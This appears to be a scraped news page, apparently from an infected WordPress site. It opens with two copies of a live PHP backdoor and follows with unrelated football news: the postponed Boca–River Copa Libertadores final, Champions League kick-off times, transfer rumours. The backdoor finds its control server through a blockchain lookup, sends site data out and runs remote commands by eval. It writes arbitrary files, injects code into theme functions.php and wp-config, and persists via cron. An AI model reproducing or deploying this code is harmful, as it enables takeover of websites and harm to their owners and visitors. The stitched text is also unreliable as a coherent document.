// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
01:40: It’s being reported that Boca president Daniel Angelici is talking with the club lawyers at the team hotel about the possibility of requesting a walkover victory 00:55: The second leg reportedly in doubt, with authorities suggesting they will not tolerate the bad behaviour. Local newspaper Popular said: “Urgent, El Monumental is closed. The police of the city have refused to provide security for tomorrow.” Meanwhile Ole report the game cannot be played on Sunday as things stand. 00:30: Boca players have arrived back at their hotel. At least the players are now safe. 00:25: Carlos Tevez has hit out at CONMEBOL. According to journalist Peter Coates, Tevez has said that he believes CONMEBOL want River to win. Coates tweeted: “Meanwhile Carlos Tevez is talking to the press again & not mincing his words. “He said the game shouldn’t go ahead tomorrow & suggested that CONMEBOL want to give the trophy to River.” URGENTE | Clausuraron el Monumental. La Policía de la Ciudad se habría negado a brindar un operativo de seguridad para mañana. pic.twitter.com/t2I5nBTXkA — Popular (@populardiario) November 24, 2018 00:00: The bus has arrived back at the stadium ready to pick Boca players up and take them back to their hotel. 23:45: Reports of fans being robbed of their tickets as they leave the stadium. All tickets for the match will be valid tomorrow. 23:25: Boca players remain in the stadium, they won’t be leaving until the ground has been emptied. They’ll need a replacement bus too after the damage caused to the first one. 23:00: Boca president Daniel Angelici has issued a statement after the postponement: “We didn’t have the right physical or mental conditions for the game to go ahead. “It was a difficult decision, but the right decision.” 22:50: Three years ago, River and Boca played in the last-16 of the Copa Libertadores. But that match was abandoned at half-time after Boca fans attacked the River players with pepper spray in the tunnel. Boca were kicked out of the competition, while River were given a bye into the quarter-finals. Boca will probably think there’s double standards given how today’s incident has been handled. 22:45: Despite the awful scenes today, tomorrow’s match will not be played behind closed doors. Fans will be allowed again but surely something will be done to prevent the images witnessed today. 22:40: Alejandro Dominguez, the president of Conmebol, has issued a statement saying both clubs asked for the match not to be played. He said: “There was a request from both clubs that the game should not be played. “One because they were not in a condition to play, and the other because they didn’t want to play under those circumstances. A gentlemen’s agreement.” Boca Juniors’ midfielder Pablo Perez has an eye patch after being injured in the bus attack (Image: GETTY) 22:35: River Plate’s official Twitter account: “We ask all fans to keep their tickets, because they will be valid to enter the game tomorrow.” 22:30: Argentinian football expert Peter Coates tweeted: “So the Copa Libertadores final second leg between River Plate and Boca Juniors is finally OFF – they do it all over again tomorrow at 5pm. “Now police just need to empty a packed Monumental without any further problems.” 22:25: WOW. Just when it looked like the match would go ahead it has now been postponed and will be played on Sunday with an 8pm GMT kick off. Remarkable. 22:20: Perez, despite being taken to hospital with an eye injury, has been named in Boca’s starting. 22:10: According to ABC journalist Dan Colasimone, tensions remain high outside the ground. He tweeted: “Rubber bullets being fired outside of the Monumental now as tensions rise between River fans and riot police.” Riot police stand guard at a barricade outside Monumental Stadium (Image: GETTY) 22:05: The referees are now out on the field and it does seem like the match will go ahead. 22:00: Carlos Tevez is not happy. The veteran Boca striker has blasted the decision to play and claimed they are being forced by officials. He told Caracol Deportes: “We are not in a position to play the game, they are forcing us to play the game. “Pablo has a patch in his eye.” Team-mate Fernando Gago added: “We were very surprised, many players suffered, we struggled to breathe. “It’s not the best way to prepare a game. “The presidents of Conmebol and Fifa are who want us to play.” River Plate fans inside the stadium before the match (Image: REUTERS) Boca Juniors and River Plate will attempt to play on Sunday (Image: GETTY) 21:50: The South American Football Confederation, CONMEBOL, delayed the match twice before settling on a kick off time of 10:30pm. 21:40: As the Boca bus made its way to River’s El Monumental stadium it was attacked and badly damaged by missiles and other objects. Boca players suffered cuts from broken glass and felt the effects of tear gas from the police. Captain Pablo Perez and Gonzalo Lamardo were taken to hospital for treatment with the former having slivers of broken glass in his eyes and the latter a cut on his head. 21:30: Welcome to live coverage of the second leg of the Copa Libertadores final between Boca Juniors vs River Plate. This match was due to get underway at 8pm GMT but it has been delayed by over two hours after scary scenes in Buenos Aires. Liverpool and Barcelona both start their campaign this evening with the likes of Real Madrid and Manchester United playing tomorrow. But they will not kick off at the usual 7.45pm time with UEFA implementing changes to the rules. Liverpool and Real Madrid reached last season’s final, which Los Blancos won 3-1 thanks to a Gareth Bale double. And Liverpool star Mohamed Salah is backing his side to go one further this time around. He said: “Of course we can make the final again. “I am sure we can win the tournament. I think we can win both, Champions League and the Premier League. “I don’t want to put pressure on, but everything is possible.” Kick-offs in the Champions League this year will replicate those in the Europa League. In previous years, matches in Europe’s premier competition began at 7.45pm with the exception of a handful of matches played in locations such as Russia. But this season, matches will kick-off at 5.55pm and 8pm. Two matches will generally take place in the early slot, with the remaining six at 8pm through the group stage. UEFA are set to review this change at the end of the 2020-21 season. Barcelona and Tottenham are first to feature in the early kick-offs with the clubs facing PSV Eindhoven and Inter respectively at 5.55pm. UEFA hope that more fans will now be able to watch the matches due to different times. It’s also hoped that the change will boost international figures resulting in increased revenue. While the plan may work on a worldwide scale, it leaves European fans in a rush to get home for the earlier kick-off slots. For fans in Australia and Asia, a 5.55pm kick-off time will see the match begin at 12.55am instead of 2.45am. Those fans will be glad of getting to bed slightly earlier, at least. Tuesday, September 18 Barcelona v PSV (5.55pm) Internazionale v Tottenham Hotspur (5.55pm) Club Brugge v Borussia Dortmund (8pm) Monaco v Atletico Madrid (8pm) Liverpool v PSG (8pm) Crvena Zvezda v Napoli (8pm) Galatasaray v Lokomotiv Moskva (8pm) Schalke 04 v Porto (8pm) Wednesday, September 19 Shakhtar Donetsk v Hoffenheim (5.55pm) Ajax v AEK Athens (5.55pm) Manchester City v Olympique Lyonnais (8pm) Real Madrid v Roma (8pm) Viktoria Plzen v CSKA Moscow (8pm) Young Boys v Manchester United (8pm) Valencia v Juventus (8pm) Benfica v Bayern Munich (8pm) A young Marseille fan made the most of his moment in the spotlight before his team’s game at the weekend, using the ceremonial kick-off to dribble the length of the pitch and score a memorable goal in front of the home fans. The youngster was given the honor of conducting the ceremonial kick-off – a tradition in the French Ligue 1 – ahead of the clash between Marseille and Rennes at the Stade Velodrome. READ MORE: 43 minutes of silence: Genoa fans honor bridge collapse victims at Serie A fixture Instead of simply passing the ball to the waiting Marseille players, he set off on a run toward the Rennes goal before calmly slotting past away ‘keeper Tomas Koubek. The youngster then whipped his shirt off before launching into a classic knee-slide celebration, topped off with a fist-pump into the camera. This young fan was only supposed to take the ceremonial kick-off in Marseille… Instead, he ran the length of the pitch, scored a goal and celebrated in style. pic.twitter.com/Kny4Suc2Sn — ESPN FC (@ESPNFC) August 27, 2018 The crowd roared their approval as the youngster tucked the ball away, while the assembled line-ups for both teams stood bewildered at the show of scoring prowess. The fan may well have taken his cue from a display by an older Marseille supporter back in September. Charity fundraiser Kamel Zaroual performed a similar stunt before the game against Toulouse, also running the length of the pitch before slotting home. The home team went on to draw Sunday’s game 2-2, coming from two goals down thanks to a second-half strike from Lucas Ocampos and an own goal from Ramy Bensebaini. The result leaves Marseille in 11th in the Ligue 1 table on four points after three games played. The Stamford Bridge club expect Manchester United to make their move for the Brazil international, with Old Trafford chief Jose Mourinho intent on recruiting Willian this summer, and set to start a bidding war. Mourinho is a major fan of Willian, who was one of the few Chelsea players to perform for him as his second spell at Stamford Bridge unravelled in 2015. Barcelona have though moved first for the Brazilian with a substantial bid, as they look for reinforcements following the departure of Nou Camp legend Andres Iniesta. Willian, who has been at Stamford Bridge for five years, turns 30 in August and Chelsea could be tempted to cash in if Barca’s offer is substantially increased. The former Anzhi star impressed in Chelsea’s Champions League knockout stage clash with Barca, scoring in the 1-1 home draw before the West Londoners crashed out 4-1 on aggregate. As with several other Chelsea players though, Willian’s future at Stamford Bridge could well depend on the intentions of incoming manager Maurizio Sarri. The Brazilian was never a favourite of outgoing boss Antonio Conte, who dropped him for last season’s FA Cup final win over United. But Conte is poised to be axed over the next few days to make way for former Napoli manager Sarri. Willian, currently in Russia with Brazil, for whom he has started all three matches, has made no overtures to move from Chelsea, but with the club missing out on Champions League football next season, a switch to the Nou Camp could be tempting, as could a link up again with Mourinho. Chelsea though would be reluctant to sell to a Premier League rival, which could leave the way open for Barcelona. At their headquarters in New York, members of the United Nations Security Council have slipped out of their formal dress to welcome the start of the Russia 2018 FIFA World Cup, wearing the jerseys of their national teams. Cheerful and relaxed, Russian Ambassador to the UN, Vassily Nebenzia, welcomed his colleagues wearing a red jersey, with ‘Vassily’ written on the back. Kicking a ball around, the diplomats showcased their dribbling skills in front of the camera. The US envoy ‘Nikki’, who received cheers from the mostly male crowd, sported a white striped jersey of her national soccer team, which, unfortunately, had not qualified for the football tournament.
